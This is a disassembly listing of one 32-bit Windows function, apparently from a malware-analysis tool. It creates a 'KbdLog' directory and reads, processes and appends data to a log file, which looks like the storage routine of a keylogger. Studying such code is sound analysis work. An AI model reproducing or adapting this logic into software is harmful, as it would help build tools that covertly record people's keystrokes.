Function at 0x52a190
Capabilities:
Create directory
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6410d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [edi + 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [edi + 0xc]
mov edx, dword [edi + 8]
push ecx
push edx
push eax
call fcn.00610e50
add esp, 0xc
push 1
push 0x66ea40
lea ecx, [ebp + 8]
call fcn.00401710
push 6
push str.KbdLog
lea ecx, [ebp + 8]
call fcn.00401710
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x66ea40
lea ecx, [ebp + 8]
call fcn.00401710
mov eax, dword [edi + 4]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp + 8]
call fcn.00401710
mov ecx, dword [ebp + 8]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
lea edx, [ebp - 0x10]
push edx
mov esi, eax
push 4
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push 4
lea edx, [ebp - 0x18]
push edx
push esi
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
push 8
lea ecx, [ebp - 0x30]
push ecx
push esi
call ebx
cmp dword [ebp - 0x10], 0
jne 0x52a2c2
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x10]
push edx
push 4
lea eax, [ebp - 0x14]
push eax
push esi
call ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push 4
lea edx, [ebp - 0x18]
push edx
push esi
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
push 8
lea ecx, [ebp - 0x30]
push ecx
push esi
call ebx
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x28], eax
add eax, dword [ebp - 0x14]
push eax
push 8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov eax, dword [ebp - 0x24]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 0x14]
push 0
lea ecx, [ebp - 0x10]
push ecx
push edx
push ebx
push esi
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x52a33a
mov ecx, dword [ebp - 0x1c]
push eax
push ebx
lea eax, [ebp - 0x20]
push eax
push ecx
mov ecx, edi
call fcn.004a12d0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push edx
push eax
push ebx
call fcn.00610e50
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28]
add dword [ebp - 0x14], ecx
push ecx
add eax, ebx
push ebx
push eax
call fcn.00610e50
mov edx, dword [ebp - 0x14]
mov ecx, dword [edi + 0x10]
add dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push edx
push ebx
lea eax, [ebp - 0x24]
push eax
push ecx
mov ecx, edi
call fcn.00529a40
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x10]
push edx
push 4
lea eax, [ebp - 0x14]
push eax
push esi
call edi
push 0
lea ecx, [ebp - 0x10]
push ecx
push 4
lea edx, [ebp - 0x18]
push edx
push esi
call edi
push 0
lea eax, [ebp - 0x10]
push eax
push 8
lea ecx, [ebp - 0x30]
push ecx
push esi
call edi
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
push 0
lea edx, [ebp - 0x10]
push edx
push eax
push ecx
push esi
call edi
mov edx, dword [ebp - 0x1c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
pop edi
pop esi
pop ebx
test edx, edx
jg 0x52a409
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8